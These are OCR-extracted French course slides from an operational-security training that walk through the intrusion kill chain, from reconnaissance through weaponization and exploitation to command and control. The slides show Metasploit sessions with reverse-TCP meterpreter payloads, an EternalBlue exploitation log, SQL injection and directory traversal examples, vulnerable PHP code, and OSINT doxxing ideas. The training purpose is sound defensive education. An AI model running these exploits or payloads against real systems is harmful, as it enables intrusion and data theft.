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Objectifs

Objectifs de cette formation

» comprendre les phases d'une intrusion ;
» reconnaitre une intrusion informatique;

» anticiper les prochaines actions de |'attaquant.
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Concepts théoriques




Concepts théoriques

Code pénal

EPITA

Article 323-1

Le fait d'accéder ou de se maintenir, frauduleusement, dans tout ou partie d'un
systeme de traitement automatisé de données est puni de deux ans d’emprisonnement
et de 60 000 euros d’amende.

Lorsqu'il en est résulté soit la suppression ou la modification de données contenues
dans le systéme, soit une altération du fonctionnement de ce systeme, la peine est de
trois ans d’emprisonnement et de 100 000 euros d'amende.

Lorsque les infractions prévues aux deux premiers alinéas ont été commises a |'encontre
d'un systeme de traitement automatisé de données a caractere personnel mis en ceuvre
par I'Etat, la peine est portée a cinq ans d'emprisonnement et a 150 000 euros
d’amende.
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Concepts théoriques

Code pénal

EPITA

Article 323-3-1

Le fait, sans motif légitime, notamment de recherche ou de sécurité informatique,
d'importer, de détenir, d'offrir, de céder ou de mettre a disposition un équipement, un
instrument, un programme informatique ou toute donnée concus ou spécialement
adaptés pour commettre une ou plusieurs des infractions prévues par les articles 323-1
a 323-3 est puni des peines prévues respectivement pour l'infraction elle-méme ou pour
I"infraction la plus séverement réprimée.
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Concepts théoriques

Quelques chiffres

EPITA

Une guerre numérique

» 61,5% du trafic internet n'est pas d'origine humaine mais généré par des bots et
l[a moitié est consacré a des actes malveillants;

» 75% des menaces sur le Sl sont provoquées par |'utilisateur.

Avec de lourdes conséquences financiéres

» 400 milliards de dollars en 2015;
» 2 000 milliards en 2019;

» 90% des entreprises qui subissent des pertes de données significatives mettent la
clé sous la porte dans les deux ans qui suivent.

Source : Techterms.com Lloyds of London, Forbes
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Concepts théoriques

Les différents attaquants

&

White Hats Gray Hats

Back a ts

Aussi connus sous le nom de Aussi connus sous le nom de Individus entre les Black et
“crackers’, ce sont des “Securité analystes”. Ce sont White hats, ils utilisent leurs
individus trés compétents qui des individus compétents dans compétences aussi bien pour
ont des activités malveillantes le domaine du hacking. lis deéfendre que pour attaquer.
et/ou destructrices. utilisent leurs compétences

dans le but de défendre.

-

— . —
Se===¢

Script Kiddies Cyber Terrorists State Sponsored Hackers
Hacker non qualifié  qui Individus compétents motivés Individus employés par le
compromet des systémes en par des croyances politiques gouvernement pour pénétrer,
utilisant des scripts et outils ou religieuses. lls aspirent a détruire des systémes ou
développés par de vrais créer la peur par la mise hors extraire des informations
hackers. service de nombreux réseaux confidentiels d'autres

informatiques. gouvernements.
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Concepts théoriques

Les différents attaquants

Threat Profiling Significant
Actor - Professional spies Govemmems Global 25 Aftacks - Full spectrum, High caliber attacks and long term o
o | |Target -Technology, critical s, people with knowledge, ttacks %
g | |Goal- Compromise tech peop\e f e e Defense - Counter intelligence capabilty, Offensive capabilty, | [ &
8 | |control, impact critical infrastructure Risk and vulnerability reduction H
< ) limpact- Severe catastrophic losses, National security impact 3
3 | [Actor - Governments, Giobal 150, Proxies ‘Aftacks - Unique, multi staged exploits, APTS @
8 | [Target - Technology, Global 2000 entites, Critical Tier V Attackers Defense - Automated response, Collaborative security| | &
cture, Large personal data stores Nations, Global 150 and threat intelligence systems, Risk reduction H
in economic/technology advantage State Sponsored <
Impact - Gain defense and capabilit El
o
g (Reor- Oronizsde sime Cyber mercenaries ‘Aftacks - Backdoors, Crypto cracking,
g | [Target-Enterpr S systems, identity \  Advanced maiware o
@ data, olhe'weue ue ge\ rating information Organized Crime Groups Defense - Behavioral and Big Data based k3
5 Goal - Financial gain, identity compromise / Cyber Mercenaries APT engines, Community engines, Hardened H]
3 | |mpact - Financial fraud, identity theft \ \infrastructure, Consequence management :
i Actor - Organized crime and hacktivist / \ S “Aftacks - Root Kits, 0 day explofts E
& | [Target - Executives, key users, Md C&C architectures 5
2 |size business c"mzzr&”?c::é:ws's Defense - SIEM, APT Engines, Mature | = §
8 |Goal- IP/personal data theft, DDoS bs, \ \ response e
= | [impact- Loss of IP, Branding \
m | [Actor - Coders, Workers \ \|Attacks - Bots, DDOS and K3
% | |Target- Smalbusiness other advanced Tier | attacks 2
g 9 Tier Il Attackers \ ik g
5 | |Goal - Defacement, Revenge . Defense - IDS/IPS heuristics, 3
= | |Impact - Denial of service, Ciipnaesibiegntedeer Rrtannes Access controls H
§ | [patabreech a
= | [Actor - Downloaders ‘Attacks - Phishing, 8
£ | |Target- Freemail, web viruses, DNS attacks s
8 | |Goal- Whatever they Defense - Endpoint, 2
Z | |canco / DS, IPS, Firewall, AV | | §
§ (limpact - Nuisance \ 7
Actors/Targets Nuisance
Intensity Medium
Commitment g Sen: eks Components
Stealthiness
Personnel Funding (Impact)
Capability<  Knowledge Assets Multipliers
Access Technology
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Concepts théoriques

Les différents types d'attaques

Phishing Cross-Site
 Malware .' By HTTP Flood -,
:‘ DNS1 !

\ Computer .~ iii
K o P - - ——
> 1
== om o
~ DNS2
; L e i i .- --
| * i
\, Zera-day
Exploits MO e
the Middle
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Concepts théoriques

La "kill chain”

EPITA

Cyber Kill Chain®

Preparation

o N S [7:7]

expcuta ook on e ystem =

=
=
7]
8
s
£

Active Breach
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Concepts théoriques

L'intrusion 1SO 9001, amélioration continue, qualité au rendez-vous

EPITA

Actionon
ol

Compromised Internal

sopeindEW daZig,

Weaponization
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Préparation




Préparation

Phase de préparation

EPITA

Reconnaissance
Harvasting ernad addneses,
canfarance information, eic

Preparation

1
Weaponization
Coupling axplhot with backdoos e
into delverabile payioad

persistence

Compromised
System
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Préparation

Reconnaissance passive

Google

Recherche Google J'ai de la chance
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EPITA

Renseignement d’origine source ouverte

Le renseignement de sources ouvertes ou
renseignement d’origine sources ouvertes (ROSO)
ou open source intelligence (OSINT) est un
renseignement obtenu par une source d'information
publique.

Conséquences

» tres difficilement détectable;

» 2 combattre par la prévention : sensibilisation
et veille de I'internet.
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Préparation

Reconnaissance passive : Les stagiaires et consultants : machines a leaks

EPITA

ol
STAGIAIRE

;O/-(/

Offre illimitée

Sans engagement
Y Valable 6 mois

bl L
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Préparation

Reconnaissance passive : Premier rapport de stage

£
JEPITA

Rappaort de stage de fin de tronc commun

N
AEPITA

E D'INGENIEURS £ INFORMATIGUE

NOM: I
PRENOM: -
LOGIN: —
PROMOTION:
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Préparation

Reconnaissance passive : Premier rapport de stage, |'organisation interne

> Organisation de ||

Président Directeur Général I
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Préparation

Reconnaissance passive : Quand on se lance dans la gestion des paiements...

<OFFERNAME=>

E., é‘ T
Serveur

Terminal acheteur de paiement

Serveur commergant

: ! L ! - CALL_REQUEST
payer e

o=m B

Saisie des

coordonnées bancaires
CALL_AUTORESPONSE
wn = AUTO_RESPONSE_URL

=

CALL_RESPONSE
= CANCEL_URL

Affichage de la S
page réponse =

ANTOINE
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Préparation

Reconnaissance passive : Premier rapport de stage, screenshot du code source

&
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Préparation

Reconnaissance passive : Analyse de la structure de la base

OINE SURMONNE — For

|7 SOL Script [Untitled]

=
Destination 3 Seipt
@ doom_serve -

-l sakla on doom_sewver [sal =

General 2
B Execut
F Executs o fike

Hew scipl

3 Open scrip

Explorer &
Database (1]

4 ) Tables [12)
&) Views

@

&) Proceduwes
] Functions
£a] UDFs
Indces
¥ ] Triggers (1]
) Scheduled Events
Prepared Statemerts
nafic_f)p?‘s"é“c"t‘fﬁ cémdﬁérationne\le

S

E# S0L Manager 2007 for
i
# Hoat
# Pore

# Database :

AY¥SQL 4.

SET FOREIGN KEY CHECKS=0;
EICREATE DATABASE '=akila’
CHARACTER SET ' latinil

COLLATE ' latini_swedish ci';

USE “sakila’
B#

# Structure for the "actor” table :
B CREATE TABLE A {

setor_id’ smallint(5) unsigned W
Tirst_name  varchar(di) HOT NULL |
last_name’ wvarchar{45) HOT WULL,

‘idx_actor_last name® {last_n
) ENGTNE=InnoDB DEFAULT CHARSET=utfd

B#

# sSeructure for tabl

the

actor_new

B Execute Scrigt

Enecute under Cursor

[Ta| Disa

Toggle Bockmarks

Farsing

Undo

Baste
Sekct 4l
Find

feal Heslace

Incremental Search

&l
»l GoltoLine Humber
Change Case

F Load.

ECREATE TAB:

ChilwilteF9

ChrbZ

Clrie
Cirkety

CirisF
ChkA

CirsL
Lk

ShitteCirieF
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Préparation

Reconnaissance passive : Analyse de la structure des trames

d) XML retourné

Le XML retourné permettra d'afficher les ¢léments & modérer dans l'application externe des services
de modération. La structure des items est extensible et on doit pouvoir ajouter ou retirer des champs
facilement.

- Pour les utilisateurs:

<itemModer>
<Id>Identifiant utilisateur</Id>
<PseudoPoster>Pseudonyme de I'utilisateur</PseudoPoster=
<Email Poster>Email de l'utilisateur</EmailPoster=
<AgePoster>Age de l'utilisateur</AgePoster>
SexPoster>Sexe de l'utilisateur</SexPoster>
SexOtherPoster>Sexe recherché par l'utilisateur</SexOtherPoster>
<DateCreate>Date de création/demiére modification</DateCreate>
</itemModer>

~  Pour les annonces :

<itemModer>
<Id>Identifiant annonce</Id>
<IdPoster=>Identifiant de |'utilisateur postant 'annonce</IdPoste:
<PseudoPoster>Pseudonyme de l'utilisateur postant l'annonce</PseudoPoster=
<Email Poster>Email de I'utilisateur postant I'annonce</EmailPoster>
<AgePoster=Age de l'utilisateur postant l'annonce</A gePoster>
xPoster>Sexe de l'utilisateur postant I'annonce</SexPoster=>
<SexOtherPoster>Sexe recherché par l'utilisateur postant I'annonce</SexOtherPoster=
>Texte de I'annonce</BodyText>
>Date de création/deriére modification</DateCreate>
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Préparation

Reconnaissance passive : Analyse de la structure des trames

Champ Position | Longueur | Type | F/O Commentaire

code . 1 2 N 0O |valeur « 03 » (enreg corps)

pays du commergant 3 2 AN | O |pays du commergant tel que transmis
dans I’API (cf. merchant_country)

id commergant 5 15 N O |SIRET commercant tel que transmis dans
I’API (cf. merchant _id)

numero de séquence 20 6 N O | +1 4 chaque enregistrement. Le premier
enregistrement doit étre le 000001,

identifiant abonne 26 8 AN 0 |identifiant de |’abonne & debiter

numéro transaction 34 6 N O |identifiant de la transaction de paiement

montant 40 12 N 0 |montant du paiement exprimé dans la
plus petite unité de la devise

code devise 52 3 N O |d’aprés ISO 4217 (ex. Euro : 978)

email abonné 35 50 AN F |non utilisé

numéro référence 105 32 AN F |[numéro de commande, numéro de facture
ou numero de dossier ou ... (numéro
interne a I"application du client)

bourrage 137 64 AN O [rempli a blanc

Ex: « 03FR0112233445511 11000001 87AObBROT 00005900978 il.com

(tbourrage jusquia 50)112AE97F12000(+bourrage jusqu'a 32)(bourrage) »
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Préparation

Reconnaissance passive : Second rapport, la perle

i

Rappon de stage développé en PHP/MySQL
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Préparation

Reconnaissance passive : Second rapport, des injections de code arbitraire

/{ Fonction qui vérifie si le pseudo existe déja. Retourne vrai si il existe, faux sinon
function pseudoExiste (Spseudo)
{

{// Connexion

connexion();

$sqlv = "SELECT pseudo FROM membre WHERE pseudo="$pseudo™;
U C ) [ C = [=

ol Te] U

$result = mysql_query($sqlv) or die('Erreur SQL
l<br>'.$sqlv.'<br>"mysql_error().'<br />');

$nb = mysql_num_rows($result);
switch($nb)
{
case'0’ : return false; break;
default : return true;

}

deconnexion();
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Préparation

Reconnaissance passive : Second rapport, mot de passe ? !

Fichier fonctionsUtiles.php :

<7php
// Fonction permettant de se connecter a la base de données
function connexion ()
{
// On se connecte a MySQL
$db = mysql_connect( [ SN 'SNEEEEN. S or dic (Ereur de
connexion'.mysql_error().'<br />');
/I On sélectionne la base
mysql_select_db('dragon_antre'.$db)or die ('Erreur de selection'.mysql_error().'<br
=)
}
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Préparation

Reconnaissance passive : Récupération de renseignement humain

& ww.linkedin.com B & B :

Linkedﬂ S'inscrire

OSCP - Looking for Remote Pentest missions
European Parliament - | INEREEN
I

Région de Strasbourg, France - 323 relations

Inscrivez-vous pour entrer en relation

A propos

I have a Nato Secret Clearance.
I have the Offensive Security Certified

ANTOINE SURMONNE — Formation sécurité opérationne\IepmfessmnaI (0SCP) certification.
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Préparation

Reconnaissance passive : Récupération de renseignement humain

EPITA

Portrait Google - Le Tigre

Bon annniversaire, Marc. Le 5 décembre 2008, tu féteras tes vingt-neuf ans. Tu
permets qu'on se tutoie, Marc ? Tu ne me connais pas, c'est vrai. Mais moi, je te
connais trés bien. [...] il n'y a que quatre photos, anodines, de ton passage dans le
petit appartement de Claudia (comme si tu voulais nous cacher quelque chose) [...] son
numéro au travail (offre d’emploi pour un poste d’assistant pédagogique au Centre
culturel, elle s’occupe du recrutement)

[

Je sais que tu es avenue F..., mais il me manque le numéro, et tu n'es pas dans les
pages jaunes. Cela dit, je peux m'en passer. Il suffit que je ne te I'envoie pas, ton
portrait : aprés tout, tu la connais déja, ta vie.

Source : Le Tigre
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Comment obtenir I'adresse personnelle du PDG d'un fournisseur

d'équipements de sécurité?




Préparation

Reconnaissance passive : Synthese

EPITA

Caractéristiques

. » s'inscrivant dans la durée;
» trés peu d'interaction avec la cible;

» tres difficilement détectable.

Contre mesures
» prévention par la sensibilisation ;

» veille permanente des informations disponibles
publiquement.
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Préparation

Reconnaissance active : Synthese

Caractéristiques

» interactions avec la cible;

» potentiellement bruyante en fonction du type
d’'attaquant.

Contre mesures

» premiére phase d'une attaque;

1T » encore facilement gérable, doit donc étre

WITH A STICK détectée au plus tét;

» sensibilisation des utilisateurs finaux qui seront
probablement une des principales sources de
détection.
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Préparation

Reconnaissance active : Social engineering

Phishing

SOCIAL
ENGINEERING

Pretexting

Psychological e a{
Manlpulatln fad My
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RESEAUY

Préparation

Reconnaissance active : Social engineering

“«{STEMES
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Préparation

Reconnaissance active : Social engineering =
2

Sirpoire ok G
‘!ééﬂﬁykWMaak Hanﬁau
= rg

B

 MICRO-TROTTOIR
Quand les Francais dévoilent

trop facilement leur mot de passe !

Source : https://www.dailymotion.com/video/x2fb229

ANTOINE SURMONNE — Formation sécurité opérationnelle


https://www.dailymotion.com/video/x2fb229
mailto:antoine@surmonne.com

RESEAU"

Préparation

Reconnaissance active : Topologie réseau B
e
o)
%

root@kali:~# nmap 192.168.33.10

Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-03 ©08:25 EDT
Nmap scan report for 192.168.33.10

Host is up (1.1s latency).

Not shown: 996 closed ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

443/tcp open https

3306/tcp open mysql

Nmap done: 1 IP address (1 host up) scanned in 3.63 seconds
root@kali:~# I
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Préparation

Reconnaissance active : Reconnaissance applicative, injection de code

B Burp Suite Professional [EE

Burp Intruder Repeater Window Help

Spider | Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Options | Alerts

[ [ [omere |

£} Request to hitps://0b7bd624bab7 mdseclabs.net:443 [67.202.9.175]

Foward | Dop | [ Interceptison | Action | == 2]

Raw | Params | Headers | Hex

POST /auth/315/Detanlt.ashs HITP/ L. L
Host: Ob7hdE24bab7.mdseclabs.net P
User-igent: Mozilla/5.0 (Vindows NT €.1; WOWE4; rv:lg.0) Gecko/2010010L Firefox/l1g.0
Accept: tewt/html,application/xhtmlixnl,application/wml;q=0.9,%/*:q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Referer: htops://Ob7hdé24bab7.mdseclabs.net/auch/319/Default. ashx

Content-Typs: application/x-www-form-urlencoded

Content-Length: 28

username=acminepasswor d=fme 59|

7)== J[ > ] password 1 match
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Préparation

Reconnaissance active :

Reconnaissance applicative, injection SQL

S Lack © Sweet Delay ~ LoginInj + yin ~ Update Query Inj +

Delete Query Inj

Wics Injections ~

RESEAU"

Home Basic Injection + o1 nj ~ Dualinj +

Username is : injector

5 — Formation sécurité opérationne
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RESEAU

Préparation

Reconnaissance active : Reconnaissance applicative, injection SQL

oy

Sweet Delay v Login Inj + Insert Query Inj + Update Query Inj ~ Delete Query In] +

Basic Injection + XPATH Inj Dual Inj v Blind Luck

Error While Selection process :{Unknown column '4{in ‘order clause

7 — Formation sécurité opérationnelle
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RESEAU

Préparation /
Reconnaissance active : Reconnaissance applicative, injection SQL g

leettime.net

Blind Luck + Sweet Delay ~ Logininj InsertQuery Inj + Update Query Inj +

Basic Injection + XPATH Inj « Dual'Inj +

Username is : injector
Username is : 5.6.39-cll-lve

— Formation sécurité opérationnelle
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Préparation

Reconnaissance active : Reconnaissance applicative, Directory traversal

Ny EPITA
D Index of fadminjbackup

&« C' [T www vulrweb, com fadmin/backp/ i

Index of /admin/backup

Name Last modified Size Description
5Parent Directoty -
FIP lslog 2012-10-25 08:20 63K
database_connect.php 2012-10-25 08:22 298
@ db_durnp.sgl 2012-10-25 08:21 98K
old_pass.tet 2012-10-25 08:22 6. 3K

Apacke/2.4.2 (Win32) CpenSSLA.0.lc PHF/S 4.4 Server at wwwovulnweb.com
FPart 80
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Préparation

Reconnaissance active : Reconnaissance applicative, Directory traversal

target | proy | spider | =canner | mbuder | repeater | sequsncer | decoder

g | nost [192.168.169.3 |

= ‘ port (3080 [ uge s

roquest
raw | headers | hex

GET
Host:

col BTTP/1.1

response
vaw | headers | nex | i | vender

Files from Test iPad 2'iPad

The following files are hosted live from the PDF Reader's Dacs folder

fete
asl/ (count2, 21020 231 61)
DD/ (Courtio, 2012-10-17 01156 )
100N/ (Couni:3, 2012:8-18 01101 P1e)
aslconf e, z0i2-10:20 12.32610)
fotab (0. 2012112 11:33 An)

O (128, 200210720 1232 )
hosts (o2x, 2012-0816 1156 an)
0SS, 20UV (00K, 2012-06-18 1:56 AM)
master,passwd (., 20
networks (o, 2
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Préparation

Arsenalisation

FLYING BOMB S\_EPITA

F2G.76

e
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Préparation

Arsenalisation

Vmware » Esxi : Security Vulnerabilities
CsS Scores Greater Than: 0
SortResuls By : CVE Number Descending  CVE Number Ascending CVSS Score Descending  Number Of Explots Descending
Total number of vulnerabilities : 52 Page : 1 (This Page)2.
Copy Results Downioad Resus
Ve CWED fofExpits  Vunerabity Types) | PublishDate | UpdateDate | Score  GanedAccess  Access  Complexty | Authentcatin  Conf. | integ.

tovezonaes 207 Oos Exce Coe Mem. 20130215 20130215 [ More  Remore  Low Notrequred  Complete Compiete Complete

VMware vCenter Server 4.0 before Update 4b and 4.1 before Update 3a, VMware VirtualCenter 2.5, VMware vSphere Client 4.0 before Update 45 and 4.1 befor
3.5 through 4.1, and UMware ESX 3.5 through 4.1 do not properly implement the management authentication protocol, which allow
corruption) via unspecified vectors.

Update 3a, VMware VI-Client 2.5, VMware ESXI
remote servers to execute arbirary code or cause a denial of service (memory

2CVE-2013-3658 22 Dir. Trav. 2013-00-10  2013-00-12 [ None Remote. Low Not required None Complete  Complete
Diectory traversal vuinerabilty in VMware ESXi 4.0 trough 5.0, and ESX 4.0 and 4.1, allows remote atackers to dlete arbitrary host OS fles via unspeciid vectors
sovezozes 20 Dos Exee Coe Mem. 201206-16 20170916 [l Moe  Remote  Medum  Notreaured  Complete Complete Complete

VMware Workstation 7.x before 7.1.6 and 8.x before 5.0.4, VMware Player 3. before 3.1.6 and 4.x before 4.0.4, VMware Fusion 4. before 4.1.3, VMware ESXI 3.5 through 5.0, and VMware ESX 3.5 through 4.1
allow user-assisted remote aftackers to execute arbitrary code on the host OS or cause 2 denial of service (memory corruption) on the host OS via a crafted Checkpoint fie.

scenass  us DoSExcccote 20120508 2090927 [l Mo Remoe  low  Snglesysem Complete Complete Complete
overtow

The VM process n Vhare ESXI 3.5 hrougn .1 and 5K 3. trough 4. does ot o

crvsh) or posey EXCCLAE arorary cod on the oSt OS via vectrs Imvaiing gata paners

¥ handie RPC commands, which allows guest OS users to cause a denial of servi

memory overwrite and process

sovezozasy  ns DoSExecCose 20120508 2071212 [l Mo Remoe  low  Siglesysem Complete Complete Complete
overn

The VM process in Vhiare ESXI 4.1 3 ESX 4.1 G not property handle RPC commands, which 3w Quest OS users £ cause 3 denial of Service (mEmory averyrite and process crash) o possily execute

arbitary code on the host OS via vectors Invlving function polnters.

scvezozom  ws DoSExecCode 20120508 2071213 [l Mo Remoe  low  Siglesysem Complete Complete Complete

overn

Viware Workataton 6. before 8.0.3, VMware Player 4.x before 4.0.3, VMware Fusion 4x trough 4.1.2, VHware ESXI 3.5 through 5.0, and Viware ESX 3.5 through 4.1 do not properly configure the virtual

floppy device, which allows guest OS users 2 cause 3 denil of srvice (outof-bounds write aperation and VMK process crash) ar possbly execute arbirary code an the host OS by leveraging admiisrative

privieges on the guest OS.

7 cve2012:2650 DoSExecCode 20120504 20171213 [l Nere  Remote  low  Siglesysem  Complete Complete Complete
VMware Workataton 8.x befare 8.0.3, Vbware Player 4.x before 4.0.3, VHware Fusion 4.x before 4.1.2, VMware ESXI 3.5 thraugh 5.0, and Vhware ESX 3.5 through 4.1 do not roperly register SCSI devices,
Which allows guest 05 users to cause a derial of servie (invalid Write operation and VX process crash) or possibly execute arbirary code o

os.

host OS by leveraging administrative privileges on the guest

BCVE2012.1515 264 +priv 20120402 2018-10-12 [ None Local Low Notrequied  Complete Complete  Complete
Network
VMware ESXI 3.5, 4.0, and 4.1 and ESX 3.5, 4.0, and 4.1 do not properly implement port-based 1/0 operations, which allows guest OS users to gain guest OS privileges by overwriting memory locations in a
read-only memory block associated with the Virtual DOS Machine.
SCVE20121518 264 +priv 20120617 20171225 [ None Local Low Notrequied  Complete  Complete  Complete
Network
Viware Workstation 8.x before 8.0.2, VMware Player

X before 4.0.2, VMuware Fusion 4.x before 4.1.2, VMware ESXI 3.5 through 5.0, and VMuware ESX 3.5 through 4.1 use an incorrect ACL for the VMware Tools
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Préparation

Arsenalisation

O\_EPITA

]

ploits - 1018 auxiliary - : ]
payloads - 41 encoders - 10 no ]
Metasploit Pro trial: http://r-7.co/trymsp ]

) > s payload windows/meterpreter/rever
windows/meterpre /reverse tcp

xploit( ) > set LHOST 192.168.100.4

) > set LPORT 4444
) > run

Started reverse TCP handler on 192.168.100.4:4444
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Préparation

Moyens de défense

Prévenir
» sensibilisation des personnels sur la mise a disposition d'informations;;

» sécurité par I'obscurité technique (TCP drop, réponses farfelues, désactiver les
banniéres, désactiver I'indexation...).

Détecter
» détecter des flux réseau anormaux (scan de ports, activité HNO, ...);

» détecter des journaux applicatifs anormaux (403, 500, ...).

Endiguer
> IPS
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Intrusion




Intrusion

Phase de d'intrusion

Delvary

Dalvaring Weanonized
Lundia o (he viciim vin
dnadl, vy, ugh #c

c
| S
Exploitation @. 0
Exploiting a vulnerabiity to e =
BABCULE CODE O VICHM'S System = 3
e —
4 -
- Installation
||'ﬂ-‘.i“||r-g AW O
the asset
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Intrusion

Livraison
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Intrusion

Livraison

lu
SURMONNE

msf exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse tcp

msf exploit( ) > set rhost 192.168.198.136

rhost => 192.168.198.136

msf exploit( ) > exploit

Started reverse TCP handler on 192.168.198.196:4444

192.168.198.136:445 - Connecting to target for exploitation.

192.168.198.136:445 - Connection established for exploitation.

192.168.198.136:445 - Target 0S selected valid for 05 indicated by SMB reply
192.168.198.136:445 - CORE raw buffer dump (27 bytes)

192.168.198.136:445 - 0x00000000 57 69 6e 64 6F 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
192.168.198.136:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 30 sional 7660
192.168.198.136:445 - Target arch selected valid for arch indicated by DCE/RPC reply
192.168.198.136:445 - Trying exploit with 12 Groom Allecations

192.168.198.136:445 - Sending all but last fragment of exploit packet

192.168.198.136:445 - Starting non-paged pool grooming

192.168.198.136:445 - Sending SMBv2 buffers

192.168.198.136:445 - Closing SMBvl connection creating free hole adjacent to SMBv2 buffer
192.168.198.136:445 - Sending final SMBv2 buffers.

192.168.198.136:445 - Sending last fragment of exploit packet!

192.168.198.136:445 - Receiving response from exploit packet

102.168.198.136:445 - ETERNALBLUE overwrite completed successfully (©xC000000D)!
192.168.198.136:445 - Sending egg to corrupted connection.

102.168.198.136:445 - Triggering free of corrupted buffer.

Sending stage (194623 bytes) to 192.168.198.136

Meterpreter session 2 opened (192.168.198.196:4444 -> 192.168.198.136:49161) at 2017-09-03 14:56:13 -0400
negotiating tlv encryption

negotiated tlv encryption

negotiated tlv encryptlon

192.168.198.136:445 - =

192.168.198.136:445 -

192.168.198.136:445 -

terpreter >
— Formation sécurité opérationnelle

SSEMES

RESEAU
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Intrusion

Exécution de code arbitraire
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Intrusion

Exécution de code arbitraire

E Metasploit Pro Console — *
File Edit View Help

o T & B

Ready 25x80
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Intrusion

Exécution de code arbitraire

Des cibles privilégiées
P sauvegardes;

» controleurs de domaine.
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Intrusion

Latéralisation
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Intrusion

atéralisation

192.168.100.1 192.168.100.2
—J_k«/
Attaquant Internet
frontweb  (192.168.56.101) sghd

ANTOINE
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Intrusion

atéralisation

192.168.100.2

Attaquant Internet
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Exploitation




Exploitation

Phase de d’exploitation

{ Command & Contro {C2) ,;'“:‘Sl\'l :
E Comemand channel for mmote ;
= marsputation of wetim's System -

E If’“_n'\ :
E I'\_ _)I Action on Objectives '

o With "Harels on Kayboand
ACCe5S, intrudirs accamplsh -

Manths
N o
Active Breach

H E:
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Exploitation

Centre de commande
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Exploitation

Centre de commande

® Amsterdam

i

°
Strasbourg

L)
Wulhouse

|/
°
Clermont-
Ferrand

‘e
Bordedux

o / Montpeliier @ =
Blaritz ¢ o Toulouse ®
Pau
@ Bastia
,' Ajaccio ®
Gette carte inclut les destinations France
vers Paris CDG ot Amsterdam £ o Figari
opéréos par Air France, KLM ou Hop!

This map includos Franco destinations
1o Paris CDG and Amsterdam
operated by A¥ France, KLM or Hop!
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Exploitation

Centre de commande

THE STRUCTURE ~ BUTMASTRR

oFABDTNET

C&C-SERVERS
(COMMAND & CONTROL)

/

INFEETEI] E[IMPUTERS \\
\(ZI]MBIES)

X u :k'i
]zu ) u S

.. = o
o SOURCE: BLOGG.TKJ.SE

=
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Exploitation

Exploitation des ressources
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Post exploitation




Post exploitation

Destruction des traces
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Post exploitation

Sur-exploitation des ressources
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Questions ?




